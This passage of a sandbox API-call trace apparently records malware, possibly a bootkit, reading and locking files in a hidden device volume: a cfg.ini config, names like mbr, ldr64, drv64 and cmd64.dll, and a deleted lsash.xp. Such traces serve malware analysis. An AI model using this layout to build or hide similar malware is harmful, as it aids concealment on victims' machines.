ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.512] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.512] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.512] KeLeaveCriticalRegion () [0128.512] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.512] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.512] KeEnterCriticalRegion () [0128.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.512] ExFreePoolWithTag (P=0xfffffa8003bff1f0, Tag=0x0) [0128.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.512] KeLeaveCriticalRegion () [0128.512] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.512] ReleaseMutex (hMutex=0xf0) returned 1 [0128.512] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.512] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.512] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.512] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.512] KeEnterCriticalRegion () [0128.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.512] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.512] IdePortDispatch () returned 0x103 [0128.512] KeWaitForMutexObject () returned 0x0 [0128.512] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.512] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.512] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.512] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.512] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.513] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.513] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.513] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.513] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.513] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.513] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.513] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.513] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.513] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.513] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.513] KeLeaveCriticalRegion () [0128.513] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.513] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.513] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.513] KeEnterCriticalRegion () [0128.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.513] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.513] IdePortDispatch () returned 0x103 [0128.513] KeWaitForMutexObject () returned 0x0 [0128.513] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.513] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.513] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.513] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.513] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.513] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.513] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.513] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.513] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.513] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.513] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.513] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.513] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.513] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.513] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.513] KeLeaveCriticalRegion () [0128.513] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.514] ReleaseMutex (hMutex=0x100) returned 1 [0128.514] Sleep (dwMilliseconds=0x2bf20) [0128.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fcdf870, dwHighDateTime=0x1d24fa4)) [0128.520] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.520] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.520] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.520] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.520] KeEnterCriticalRegion () [0128.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.520] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.520] IdePortDispatch () returned 0x103 [0128.521] KeWaitForMutexObject () returned 0x0 [0128.521] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.521] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.521] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.521] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.521] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.521] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800365e530 [0128.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.521] KeLeaveCriticalRegion () [0128.521] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.521] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.521] KeEnterCriticalRegion () [0128.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.521] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.521] KeLeaveCriticalRegion () [0128.521] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.521] KeEnterCriticalRegion () [0128.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.521] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.521] IdePortDispatch () returned 0x103 [0128.521] KeWaitForMutexObject () returned 0x0 [0128.521] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.521] KeLeaveCriticalRegion () [0128.521] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.522] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.522] KeEnterCriticalRegion () [0128.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.522] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b8000 [0128.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.522] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.522] IdePortDispatch () returned 0x103 [0128.522] KeWaitForMutexObject () returned 0x0 [0128.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.522] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.522] IdePortDispatch () returned 0x103 [0128.522] KeWaitForMutexObject () returned 0x0 [0128.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.522] KeLeaveCriticalRegion () [0128.522] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.523] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.523] KeEnterCriticalRegion () [0128.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.523] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.523] KeLeaveCriticalRegion () [0128.523] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.523] KeEnterCriticalRegion () [0128.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.523] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.523] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649790, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.523] KeLeaveCriticalRegion () [0128.523] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.523] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.523] KeEnterCriticalRegion () [0128.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.523] ExFreePoolWithTag (P=0xfffffa800365e530, Tag=0x0) [0128.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.523] KeLeaveCriticalRegion () [0128.523] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.523] ReleaseMutex (hMutex=0xf0) returned 1 [0128.523] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.523] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.523] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.523] KeEnterCriticalRegion () [0128.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.523] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.523] IdePortDispatch () returned 0x103 [0128.524] KeWaitForMutexObject () returned 0x0 [0128.524] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.524] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.524] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.524] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.524] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.524] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff700 [0128.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.524] KeLeaveCriticalRegion () [0128.524] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.524] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.524] KeEnterCriticalRegion () [0128.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.524] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.524] KeLeaveCriticalRegion () [0128.524] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.524] KeEnterCriticalRegion () [0128.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.524] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.524] IdePortDispatch () returned 0x103 [0128.524] KeWaitForMutexObject () returned 0x0 [0128.524] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.525] KeLeaveCriticalRegion () [0128.525] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.525] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.525] KeEnterCriticalRegion () [0128.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.525] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b9000 [0128.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.525] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.525] IdePortDispatch () returned 0x103 [0128.525] KeWaitForMutexObject () returned 0x0 [0128.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.525] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.525] IdePortDispatch () returned 0x103 [0128.525] KeWaitForMutexObject () returned 0x0 [0128.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.525] KeLeaveCriticalRegion () [0128.525] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.526] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.526] KeEnterCriticalRegion () [0128.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.526] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.526] KeLeaveCriticalRegion () [0128.526] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.526] KeEnterCriticalRegion () [0128.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.526] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.526] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.526] KeLeaveCriticalRegion () [0128.526] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.526] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.526] KeEnterCriticalRegion () [0128.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.526] ExFreePoolWithTag (P=0xfffffa8003bff700, Tag=0x0) [0128.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.526] KeLeaveCriticalRegion () [0128.526] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.526] ReleaseMutex (hMutex=0xf0) returned 1 [0128.526] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.526] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.526] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.526] KeEnterCriticalRegion () [0128.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.527] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.527] IdePortDispatch () returned 0x103 [0128.527] KeWaitForMutexObject () returned 0x0 [0128.527] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.527] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.527] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.527] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.527] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.527] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff450 [0128.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.527] KeLeaveCriticalRegion () [0128.527] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.527] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.527] KeEnterCriticalRegion () [0128.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.527] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.527] KeLeaveCriticalRegion () [0128.527] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.527] KeEnterCriticalRegion () [0128.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.527] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.527] IdePortDispatch () returned 0x103 [0128.527] KeWaitForMutexObject () returned 0x0 [0128.528] _strnicmp 